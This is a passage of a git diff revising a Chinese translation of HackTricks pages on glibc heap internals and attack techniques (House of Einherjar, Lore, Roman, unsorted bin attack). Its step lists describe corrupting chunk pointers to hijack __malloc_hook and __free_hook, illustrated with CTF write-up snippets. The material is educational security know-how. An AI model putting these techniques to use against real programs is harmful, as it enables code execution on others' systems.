- 仅使用 1B 来存储密码的大小，因此可能会溢出并使其认为长度为 4，而实际上是 260，以绕过长度检查保护
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
-- 给定几个数字，使用 z3 找出一个新数字，使其与第一个数字相乘将得到第二个数字：
+- 给定几个数字，使用 z3 找出一个新数字，使其与第一个数字相乘得到第二个数字：
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
-- 仅使用 1B 来存储密码的大小，因此可能会溢出并使其认为长度为 4，而实际上是 260，以绕过长度检查保护并覆盖栈中的下一个局部变量，从而绕过这两种保护
+- 仅使用 1B 来存储密码的大小，因此可能会溢出并使其认为长度为 4，而实际上是 260，以绕过长度检查保护并在栈中覆盖下一个局部变量，从而绕过这两种保护
## ARM64
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index ac3e56cf0..17a3bab45 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -1,4 +1,4 @@
-# 堆函数安全检查
+# Heap Functions Security Checks
{{#include ../../../banners/hacktricks-training.md}}
@@ -39,14 +39,14 @@ malloc-and-sysmalloc.md
- **小 bin 搜索期间的检查：**
- 如果 `victim->bk->fd != victim`：
- 错误信息：`malloc(): smallbin double linked list corrupted`
-- **在每个快速 bin 块上执行的合并检查：**
+- **合并期间的检查** 针对每个快速 bin 块：
- 如果块未对齐触发：
- 错误信息：`malloc_consolidate(): unaligned fastbin chunk detected`
- 如果块的大小与其所在索引应有的大小不同：
- 错误信息：`malloc_consolidate(): invalid chunk size`
-- 如果前一个块未使用且前一个块的大小与 `prev_chunk` 指示的大小不同：
+- 如果前一个块未使用且前一个块的大小与 prev_chunk 指示的大小不同：
- 错误信息：`corrupted size vs. prev_size in fastbins`
-- **无序 bin 搜索期间的检查：**
+- **无序 bin 搜索期间的检查**：
- 如果块大小异常（太小或太大）：
- 错误信息：`malloc(): invalid size (unsorted)`
- 如果下一个块大小异常（太小或太大）：
@@ -68,7 +68,7 @@ malloc-and-sysmalloc.md
- **按下一个更大搜索大 bin 的检查：**
- `bck->fd-> bk != bck`：
- 错误信息：`malloc(): corrupted unsorted chunks2`
-- **在 Top chunk 使用期间的检查：**
+- **顶块使用期间的检查：**
- `chunksize(av->top) > av->system_mem`：
- 错误信息：`malloc(): corrupted top size`
@@ -99,9 +99,9 @@ free.md
{{#endref}}
- **在 `_int_free` 开始时的检查：**
-- 指针已对齐：
+- 指针是否对齐：
- 错误信息：`free(): invalid pointer`
-- 大小大于 `MINSIZE` 且大小也已对齐：
+- 大小大于 `MINSIZE` 且大小也对齐：
- 错误信息：`free(): invalid size`
- **在 `_int_free` tcache 中的检查：**
- 如果条目超过 `mp_.tcache_count`：
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index baabf2846..cb2ea9e49 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -7,27 +7,27 @@
(此摘要中未解释任何检查，并且为了简洁省略了一些情况)
1. `__libc_malloc` 尝试从 tcache 获取一个块，如果没有，则调用 `_int_malloc`
-2. `_int_malloc` :
+2. `_int_malloc` :
1. 尝试生成 arena，如果没有的话
-2. 如果有任何正确大小的快速 bin 块，使用它
+2. 如果有正确大小的快速 bin 块，使用它
1. 用其他快速块填充 tcache
-3. 如果有任何正确大小的小 bin 块，使用它
+3. 如果有正确大小的小 bin 块，使用它
1. 用该大小的其他块填充 tcache
-4. 如果请求的大小不适用于小 bin，将快速 bin 合并到未排序 bin
-5. 检查未排序 bin，使用第一个有足够空间的块
-1. 如果找到的块更大，则将其分割以返回一部分，并将剩余部分添加回未排序 bin
+4. 如果请求的大小不适用于小 bins，将快速 bin 合并到未排序的 bin
+5. 检查未排序的 bin，使用第一个有足够空间的块
+1. 如果找到的块更大，则将其分割以返回一部分，并将剩余部分添加回未排序的 bin
2. 如果块的大小与请求的大小相同，则使用它填充 tcache，而不是返回它（直到 tcache 满，然后返回下一个）
-3. 对于检查的每个较小大小的块，将其放入相应的小 bin 或大 bin
+3. 对于检查的每个较小大小的块，将其放入相应的小或大 bin
6. 检查请求大小索引中的大 bin
1. 从第一个大于请求大小的块开始查找，如果找到则返回它并将剩余部分添加到小 bin
7. 从下一个索引开始检查大 bin，直到结束
-1. 从下一个更大的索引检查任何块，将第一个找到的块分割以用于请求的大小，并将剩余部分添加到未排序 bin
-8. 如果在之前的 bin 中未找到任何内容，从顶部块获取一个块
+1. 从下一个更大的索引检查任何块，将第一个找到的块分割以用于请求的大小，并将剩余部分添加到未排序的 bin
+8. 如果在之前的 bins 中未找到任何内容，从顶部块获取一个块
9. 如果顶部块不够大，则使用 `sysmalloc` 扩大它
## \_\_libc_malloc
-`malloc` 函数实际上调用 `__libc_malloc`。此函数将检查 tcache 以查看是否有任何可用的所需大小的块。如果有，它将使用它；如果没有，它将检查是否是单线程，在这种情况下，它将在主 arena 中调用 `_int_malloc`，如果不是，它将在线程的 arena 中调用 `_int_malloc`。
+`malloc` 函数实际上调用 `__libc_malloc`。此函数将检查 tcache，以查看是否有任何可用的所需大小的块。如果有，它将使用它；如果没有，它将检查是否是单线程，在这种情况下，它将在主 arena 中调用 `_int_malloc`，如果不是，它将在线程的 arena 中调用 `_int_malloc`。
@@ -102,7 +102,7 @@ return victim;
```
-请注意，它将始终用 `tag_new_usable` 标记返回的指针，来自代码：
+注意它将始终用 `tag_new_usable` 标记返回的指针，来自代码：
```c
void *tag_new_usable (void *ptr)
@@ -113,7 +113,7 @@ recolored for accessing the memory there.
```
## \_int_malloc
-这是分配内存的函数，使用其他桶和顶部块。
+这是分配内存的函数，使用其他 bins 和 top chunk。
- 开始
@@ -169,7 +169,7 @@ return NULL;
### Arena
-在不太可能没有可用的 arena 的情况下，它使用 `sysmalloc` 从 `mmap` 获取一个块：
+在不太可能的情况下，如果没有可用的 arena，它会使用 `sysmalloc` 从 `mmap` 获取一个块：
@@ -190,7 +190,7 @@ return p;
### Fast Bin
-如果所需的大小在快速堆的大小范围内，尝试使用快速堆中的一个块。基本上，根据大小，它会找到有效块应该位于的快速堆索引，如果有，它会返回其中一个。\
+如果所需的大小在 Fast Bins 大小范围内，尝试从快速堆中使用一个块。基本上，根据大小，它会找到有效块应该位于的快速堆索引，如果有，它会返回其中一个。\
此外，如果启用了 tcache，它会**用快速堆填充该大小的 tcache 堆**。
在执行这些操作时，会执行一些安全检查：
@@ -281,23 +281,23 @@ return p;
```
-### 小型堆
+### 小型空闲区
-正如评论中所指出的，小型堆每个索引只保存一种大小，因此检查是否有有效的块可用是非常快速的，因此在快速堆之后，会检查小型堆。
+如评论中所示，小型空闲区每个索引只保存一种大小，因此检查是否有有效的块可用非常快速，因此在快速空闲区之后，会检查小型空闲区。
-第一次检查是找出请求的大小是否可能在小型堆中。在这种情况下，获取小型堆中对应的 **索引** 并查看是否有 **任何可用块**。
+第一次检查是确定请求的大小是否可能在小型空闲区内。在这种情况下，获取小型空闲区内对应的**索引**，并查看是否有**任何可用块**。
-然后，进行安全检查，检查：
+然后，进行安全检查：
-- 如果 `victim->bk->fd = victim`。以确保两个块正确链接。
+- 如果 `victim->bk->fd = victim`。以确保两个块正确链接。
-在这种情况下，块 **设置 `inuse` 位，** 双向链表被修复，因此该块从中消失（因为它将被使用），并在需要时设置非主区域位。
+在这种情况下，块**设置为 `inuse` 位，**双向链表被修复，因此该块从中消失（因为它将被使用），并在需要时设置非主区域位。
-最后，**用小型堆中的其他块（如果有）填充请求大小的 tcache 索引**。
+最后，**用小型空闲区内的其他块（如果有）填充请求大小的 tcache 索引**。
-_int_malloc 小型堆
+_int_malloc 小型空闲区
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
@@ -362,7 +362,7 @@ return p;
### malloc_consolidate
-如果它不是一个小块，那就是一个大块，在这种情况下调用 **`malloc_consolidate`** 以避免内存碎片。
+如果它不是一个小块，那么就是一个大块，在这种情况下调用 **`malloc_consolidate`** 以避免内存碎片。
@@ -389,15 +389,15 @@ malloc_consolidate (av);
```
-malloc consolidate 函数基本上从快速 bin 中移除块，并将它们放入未排序的 bin 中。在下一个 malloc 之后，这些块将被组织到各自的小/快速 bins 中。
+malloc consolidate 函数基本上从快速 bin 中移除块并将它们放入未排序的 bin。在下一个 malloc 之后，这些块将被组织到各自的小/快速 bin 中。
-请注意，如果在移除这些块时，发现它们与未使用的前一个或下一个块相连，它们将被 **解除链接并合并**，然后将最终块放入 **未排序** bin 中。
+请注意，如果在移除这些块时，发现它们与未使用的前一个或后一个块相连，它们将被 **解除链接并合并**，然后将最终块放入 **未排序** bin 中。
对于每个快速 bin 块，会执行几个安全检查：
-- 如果块未对齐，触发： `malloc_consolidate(): unaligned fastbin chunk detected`
+- 如果块未对齐触发： `malloc_consolidate(): unaligned fastbin chunk detected`
- 如果块的大小与其所在索引应有的大小不同： `malloc_consolidate(): invalid chunk size`
-- 如果前一个块未使用，并且前一个块的大小与 `prev_chunk` 指示的大小不同： `corrupted size vs. prev_size in fastbins`
+- 如果前一个块未使用且前一个块的大小与 `prev_chunk` 指示的大小不同： `corrupted size vs. prev_size in fastbins`
@@ -510,7 +510,7 @@ av->top = p;
#### 开始
-这从一个大的 for 循环开始，该循环将沿着 `bk` 方向遍历未排序的堆，直到到达末尾（arena 结构），使用 `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
+这从一个大的循环开始，该循环将沿着 `bk` 方向遍历未排序的堆，直到到达末尾（arena 结构），使用 `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
此外，每当考虑一个新块时都会进行一些安全检查：
@@ -623,13 +623,13 @@ return p;
```
-如果成功，返回块并结束，如果不成功，继续执行函数...
+如果成功，返回该块并结束，如果不成功，继续执行该函数...
#### 如果大小相等
-继续从堆中移除块，以防请求的大小正好是块的大小：
+继续从堆中移除该块，如果请求的大小正好是该块的大小：
-- 如果 tcache 没有填满，将其添加到 tcache 中，并继续指示可以使用 tcache 块
+- 如果 tcache 未填满，将其添加到 tcache，并继续指示可以使用 tcache 块
- 如果 tcache 已满，则直接使用它并返回
@@ -674,20 +674,20 @@ return p;
```
-如果块没有返回或添加到 tcache，继续执行代码...
+如果块未返回或未添加到 tcache，继续执行代码...
-#### 将块放入一个桶
+#### 将块放入一个桶中
根据块的大小将检查过的块存储在小桶或大桶中（保持大桶的正确组织）。
-正在执行安全检查，以确保两个大桶的双向链表没有损坏：
+正在执行安全检查，以确保两个大桶的双向链表未被破坏：
- 如果 `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
- 如果 `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
-_int_malloc 将块放入一个桶
+_int_malloc 将块放入一个桶中
```c
/* place chunk in bin */
@@ -804,11 +804,11 @@ return tcache_get (tc_idx);
### 大块（按索引）
-如果请求很大（不在小块中），并且我们尚未返回任何块，请获取所请求大小在**大块**中的**索引**，检查是否**不为空**，或者如果**此块中最大的块大于**所请求的大小，在这种情况下找到**可以用于所请求大小的最小块**。
+如果请求较大（不在小块中），并且我们尚未返回任何块，请获取所请求大小在**大块**中的**索引**，检查是否**不为空**，或者**此块中最大的块是否大于**所请求的大小，在这种情况下，找到**可以用于**所请求大小的**最小块**。
如果最终使用的块的剩余空间可以成为一个新块，则将其添加到未排序的块中，并更新last_reminder。
-在将剩余空间添加到未排序的块时会进行安全检查：
+在将剩余部分添加到未排序的块时会进行安全检查：
- `bck->fd-> bk != bck`: `malloc(): corrupted unsorted chunks`
@@ -891,7 +891,7 @@ return p;
### 大块（下一个更大）
-如果在确切的大块中没有任何可以使用的块，请开始循环遍历所有下一个大块（从立即更大的开始），直到找到一个（如果有的话）。
+如果在确切的大块中没有可以使用的块，请开始循环遍历所有下一个大块（从立即更大的开始），直到找到一个（如果有的话）。
分割块的剩余部分被添加到未排序的块中，last_reminder 被更新，并执行相同的安全检查：
@@ -1098,7 +1098,7 @@ return p;
### sysmalloc 开始
-如果 arena 为 null 或请求的大小太大（并且允许的 mmaps 仍然存在），则使用 `sysmalloc_mmap` 分配空间并返回。
+如果 arena 为 null 或请求的大小太大（并且还有允许的 mmaps），则使用 `sysmalloc_mmap` 分配空间并返回。
@@ -1212,8 +1212,8 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
### sysmalloc 不是主区域
-它将首先尝试 **扩展** 之前的堆。如果不可能，则尝试 **分配一个新的堆** 并更新指针以便能够使用它。\
-最后，如果这也不行，尝试调用 **`sysmalloc_mmap`**。
+它会首先尝试 **扩展** 之前的堆。如果不可能，则尝试 **分配一个新的堆** 并更新指针以便能够使用它。\
+最后，如果这也不行，尝试调用 **`sysmalloc_mmap`**。
@@ -1343,7 +1343,7 @@ LIBC_PROBE (memory_sbrk_more, 2, brk, size);
### sysmalloc 主区域之前的错误 1
-如果之前返回了 `MORECORE_FAILURE`，请再次尝试使用 `sysmalloc_mmap_fallback` 分配内存
+如果之前返回了 `MORECORE_FAILURE`，请尝试使用 `sysmalloc_mmap_fallback` 再次分配内存。
@@ -1573,7 +1573,7 @@ _int_free (av, old_top, 1);
### sysmalloc finale
-完成分配，更新区域信息
+完成分配，更新 arena 信息
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index 63dc2d365..c70ae2567 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -17,25 +17,25 @@
- 当我们想要分配一个块时，创建一个假块：
- 设置指针指向自身以绕过完整性检查
-- 使用一个字节溢出从一个块到下一个块的空字节来修改 `PREV_INUSE` 标志。
-- 在被空字节滥用的块的 `prev_size` 中指示它与假块之间的差异
+- 使用一个字节溢出从一个块到下一个块，修改 `PREV_INUSE` 标志。
+- 在被滥用的块的 `prev_size` 中指示它与假块之间的差异
- 假块的大小也必须设置为相同的大小以绕过完整性检查
- 构造这些块时，你需要一个堆泄漏。
### 攻击
-- 在攻击者控制的块内创建一个假块 `A`，用 `fd` 和 `bk` 指向原始块以绕过保护
+- 在攻击者控制的块内创建一个 `A` 假块，`fd` 和 `bk` 指向原始块以绕过保护
- 分配另外两个块（`B` 和 `C`）
-- 在 `B` 中滥用 off by one，清除 `prev in use` 位，并用 `C` 块分配位置与假块 `A` 之间的差异覆盖 `prev_size` 数据
+- 利用 `B` 中的越界，清除 `prev in use` 位，并用 `C` 块分配位置与之前生成的假 `A` 块之间的差异覆盖 `prev_size` 数据
- 这个 `prev_size` 和假块 `A` 中的大小必须相同以绕过检查。
- 然后，填充 tcache
- 然后，释放 `C` 以便与假块 `A` 合并
-- 然后，创建一个新的块 `D`，它将从假块 `A` 开始并覆盖块 `B`
+- 然后，创建一个新的块 `D`，它将从假 `A` 块开始并覆盖 `B` 块
- Einherjar 之家在这里结束
- 这可以通过快速 bin 攻击或 Tcache 中毒继续：
- 释放 `B` 以将其添加到快速 bin / Tcache
-- `B` 的 `fd` 被覆盖，使其指向目标地址，滥用 `D` 块（因为它包含 `B`）
-- 然后，进行 2 次 malloc，第二次将 **分配目标地址**
+- `B` 的 `fd` 被覆盖，使其指向目标地址，利用 `D` 块（因为它包含 `B`）
+- 然后，进行两次 malloc，第二次将 **分配目标地址**
## 参考和其他示例
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index d02aa13c6..e28d85adf 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -7,10 +7,10 @@
### 代码
- 检查来自 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
-- 这个不工作
+- 这不起作用
- 或者: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
-- 即使它尝试绕过一些检查，仍然不工作，出现错误: `malloc(): unaligned tcache chunk detected`
-- 这个例子仍然有效: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- 即使它尝试绕过一些检查，仍然不起作用，出现错误: `malloc(): unaligned tcache chunk detected`
+- 这个例子仍然有效: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
### 目标
@@ -19,21 +19,21 @@
### 要求
-- 创建2个假块并将它们链接在一起，并与小桶中的合法块链接：
+- 创建2个假块并将它们链接在一起，并与小桶中的合法块链接:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
-- `fake0.fd` -> `legit`（你需要通过其他漏洞修改已释放小桶块中的指针）
+- `fake0.fd` -> `legit`（您需要通过其他漏洞修改已释放小桶块中的指针）
- `legit.bk` -> `fake0`
-然后你将能够分配`fake0`。
+然后您将能够分配`fake0`。
### 攻击
- 分配一个小块（`legit`），然后分配另一个小块以防止与顶部块合并。然后，释放`legit`（将其移动到未排序的桶列表中），并分配一个更大的块，**将`legit`移动到小桶中。**
-- 攻击者生成一对假小块，并进行必要的链接以绕过完整性检查：
+- 攻击者生成一对假小块，并进行必要的链接以绕过完整性检查:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
-- `fake0.fd` -> `legit`（你需要通过其他漏洞修改已释放小桶块中的指针）
+- `fake0.fd` -> `legit`（您需要通过其他漏洞修改已释放小桶块中的指针）
- `legit.bk` -> `fake0`
- 分配一个小块以获取合法块，使**`fake0`**成为小桶的顶部列表
- 再分配一个小块，获取`fake0`作为块，允许潜在地读取/写入其中的指针。
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index dbffed335..36e2532ab 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -4,7 +4,7 @@
## 基本信息
-这是一种非常有趣的技术，允许通过假快块、未排序的 bin 攻击和相对覆盖实现 RCE，而无需泄漏。然而，它已经被 [**修补**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。
+这是一种非常有趣的技术，允许通过假快块、未排序的 bin 攻击和相对覆盖来实现 RCE，而无需泄漏。然而，它已经被 [**修补**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)。
### 代码
@@ -17,11 +17,11 @@
### 要求
- 编辑快块和未排序 bin 指针
-- 必须强行破解 12 位随机数（0.02% 的成功率）
+- 必须暴力破解 12 位随机数（0.02% 的成功率）
## 攻击步骤
-### 第 1 部分：快块块指向 \_\_malloc_hook
+### 第 1 部分：快块指向 \_\_malloc_hook
创建几个块：
@@ -49,19 +49,19 @@ fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
-- `fastbin_victim` 有一个指向 `relative_offset_heap` 的 `fd`
-- `relative_offset_heap` 是从 `fake_libc_chunk` 的距离偏移量，其中包含指向 `main_arena + 0x68` 的指针
-- 只需更改 `fastbin_victim.fd` 的最后一个字节，就可以使 `fastbin_victim` 指向 `main_arena + 0x68`
+- `fastbin_victim` 有一个指向 `relative_offset_heap` 的 `fd`
+- `relative_offset_heap` 是从 `fake_libc_chunk` 的距离偏移量，其中包含指向 `main_arena + 0x68` 的指针
+- 只需更改 `fastbin_victim.fd` 的最后一个字节，就可以使 `fastbin_victim points` 指向 `main_arena + 0x68`
对于之前的操作，攻击者需要能够修改 `fastbin_victim` 的 fd 指针。
然后，`main_arena + 0x68` 并不是那么有趣，所以让我们修改它，使指针指向 **`__malloc_hook`**。
-请注意，`__memalign_hook` 通常以 `0x7f` 开头，并在其前面有零，因此可以将其伪装为 `0x70` 快速堆中的一个值。由于地址的最后 4 位是 **随机** 的，因此有 `2^4=16` 种可能性使值最终指向我们感兴趣的地方。因此在这里执行 BF 攻击，使得块最终变成：**`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`。**
+请注意，`__memalign_hook` 通常以 `0x7f` 开头，并且在它之前是零，因此可以将其伪装为 `0x70` 快速堆中的一个值。由于地址的最后 4 位是 **随机** 的，因此有 `2^4=16` 种可能性使值最终指向我们感兴趣的地方。因此在这里执行 BF 攻击，使得块最终变成：**`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`。**
-（有关其余字节的更多信息，请查看 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ 示例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) 中的解释）。如果 BF 不起作用，程序就会崩溃（所以从头开始，直到它有效）。
+（有关其余字节的更多信息，请查看 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ 示例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) 中的解释）。如果 BF 不起作用，程序就会崩溃（所以重新开始，直到它有效）。
-然后，执行 2 次 malloc 以移除 2 个初始快速堆块，并分配第三个以获取一个在 **`__malloc_hook:`** 中的块。
+然后，执行 2 次 malloc 以移除 2 个初始快速堆块，并分配第三个以获取一个块在 **`__malloc_hook:`** 中。
```c
malloc(0x60);
malloc(0x60);
@@ -69,7 +69,7 @@ uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Part 2: Unsorted_bin 攻击
-有关更多信息，您可以查看：
+有关更多信息，请查看：
{{#ref}}
unsorted-bin-attack.md
@@ -86,12 +86,12 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
-使用 UAF 在此块中将 `unsorted_bin_ptr->bk` 指向 `__malloc_hook` 的地址（我们之前已经暴力破解过这个）。
+在这个块中使用 UAF 将 `unsorted_bin_ptr->bk` 指向 `__malloc_hook` 的地址（我们之前已经暴力破解过这个）。
> [!CAUTION]
-> 请注意，此攻击会破坏未排序的 bin（因此小和大也会受到影响）。因此我们现在只能**使用快速 bin 的分配**（更复杂的程序可能会进行其他分配并崩溃），并且要触发这一点，我们必须**分配相同的大小，否则程序将崩溃。**
+> 请注意，这个攻击会破坏未排序的 bin（因此小和大也会受到影响）。所以我们现在只能**使用快速 bin 的分配**（一个更复杂的程序可能会进行其他分配并崩溃），并且为了触发这一点，我们必须**分配相同的大小，否则程序将崩溃。**
-因此，为了触发 `__malloc_hook` 中 `main_arena + 0x68` 的写入，在将 `__malloc_hook` 设置在 `unsorted_bin_ptr->bk` 后，我们只需执行：**`malloc(0x80)`**
+因此，为了触发 `__malloc_hook` 中 `main_arena + 0x68` 的写入，在将 `__malloc_hook` 设置在 `unsorted_bin_ptr->bk` 后，我们只需要执行：**`malloc(0x80)`**
### 第 3 步：将 \_\_malloc_hook 设置为 system
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index d575b4c92..3679e5dc5 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -20,9 +20,9 @@ bins-and-memory-allocations.md
> 因此，这种未排序 bin 攻击现在（除了其他检查）还需要能够修复双向链表，以便绕过 `victim->bk->fd == victim` 或 `victim->fd == av (arena)`，这意味着我们想要写入的地址必须在其 `fd` 位置具有假块的地址，并且假块的 `fd` 指向 arena。
> [!CAUTION]
-> 请注意，这种攻击会破坏未排序 bin（因此小和大也会）。所以我们现在只能**使用来自快速 bin 的分配**（更复杂的程序可能会进行其他分配并崩溃），并且要触发这一点，我们必须**分配相同的大小，否则程序将崩溃。**
+> 请注意，这种攻击会破坏未排序 bin（因此小和大也会）。所以我们现在只能**使用快速 bin 的分配**（更复杂的程序可能会进行其他分配并崩溃），并且要触发这一点，我们必须**分配相同的大小，否则程序将崩溃。**
>
-> 请注意，覆盖**`global_max_fast`**可能在这种情况下有所帮助，前提是快速 bin 能够处理所有其他分配，直到利用完成。
+> 请注意，覆盖**`global_max_fast`**可能在这种情况下有所帮助，信任快速 bin 能够处理所有其他分配，直到利用完成。
来自 [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) 的代码解释得很好，尽管如果你修改 malloc 以分配足够大的内存以避免 Tcache，你会看到之前提到的错误出现，阻止这种技术：**`malloc(): unsorted double linked list corrupted`**
@@ -31,7 +31,7 @@ bins-and-memory-allocations.md
这实际上是一个非常基本的概念。未排序 bin 中的块将具有指针。未排序 bin 中的第一个块实际上将具有**`fd`**和**`bk`**链接**指向主 arena（Glibc）的一部分**。\
因此，如果你能够**将一个块放入未排序 bin 并读取它**（使用后释放）或**再次分配它而不覆盖至少 1 个指针**，然后**读取**它，你就可以获得**Glibc 信息泄露**。
-在这个 [**写作中使用的类似攻击**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)中，利用了一个 4 块结构（A、B、C 和 D - D 仅用于防止与顶部块合并），因此在 B 中使用了一个空字节溢出，使 C 指示 B 未使用。此外，在 B 中修改了 `prev_size` 数据，因此大小不是 B 的大小，而是 A+B。\
+在这个 [**写作中使用的类似攻击**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)中，利用了一个 4 块结构（A、B、C 和 D - D 仅用于防止与顶部块合并），因此在 B 中使用了一个空字节溢出，使 C 表示 B 未使用。此外，在 B 中修改了 `prev_size` 数据，因此大小不是 B 的大小，而是 A+B。\
然后 C 被释放，并与 A+B 合并（但 B 仍在使用中）。分配了一个大小为 A 的新块，然后将泄露的 libc 地址写入 B，从而泄露了它们。
## References & Other examples
@@ -43,28 +43,28 @@ bins-and-memory-allocations.md
- 然后，chunk1 被释放，chunk0 被溢出到 chunk1 的 `bk` 指针指向：`bk = magic - 0x10`
- 然后，分配一个与 chunk1 相同大小的 chunk3，这将触发未排序 bin 攻击并修改全局变量的值，从而使获取标志成为可能。
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
-- 合并函数是脆弱的，因为如果传递的两个索引相同，它将对其进行重新分配，然后释放它，但返回指向该释放区域的指针，可以使用。
+- 合并函数是脆弱的，因为如果传递的两个索引相同，它将重新分配并释放它，但返回一个指向该释放区域的指针，可以使用。
- 因此，**创建了 2 个块**：**chunk0** 将与自身合并，chunk1 以防止与顶部块合并。然后，**合并函数被调用两次与 chunk0**，这将导致使用后释放。
- 然后，**`view`** 函数被调用，索引为 2（即使用后释放块的索引），这将**泄露一个 libc 地址**。
- 由于二进制文件具有保护措施，仅允许 malloc 大于 **`global_max_fast`** 的大小，因此不使用快速 bin，将使用未排序 bin 攻击来覆盖全局变量 `global_max_fast`。
-- 然后，可以调用编辑函数，索引为 2（使用后释放指针），并将 `bk` 指针覆盖为指向 `p64(global_max_fast-0x10)`。然后，创建一个新块将使用之前被破坏的释放地址（0x20），将**触发未排序 bin 攻击**，覆盖 `global_max_fast`，这是一个非常大的值，现在允许在快速 bin 中创建块。
+- 然后，可以调用编辑函数，索引为 2（使用后释放指针），并覆盖 `bk` 指针以指向 `p64(global_max_fast-0x10)`。然后，创建一个新块将使用之前被破坏的释放地址（0x20），将**触发未排序 bin 攻击**，覆盖 `global_max_fast`，这是一个非常大的值，现在允许在快速 bin 中创建块。
- 现在执行**快速 bin 攻击**：
- 首先发现可以在**`__free_hook`**位置处理大小为 200 的快速**块**：
-- gef➤ p &__free_hook
-$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+- gef➤ p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
-0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
-0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6076f : 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- 如果我们设法在此位置获得大小为 0x200 的快速块，将能够覆盖将被执行的函数指针。
-- 为此，创建一个大小为 `0xfc` 的新块，并用该指针调用合并函数两次，这样我们就获得了指向大小为 `0xfc*2 = 0x1f8` 的释放块的指针。
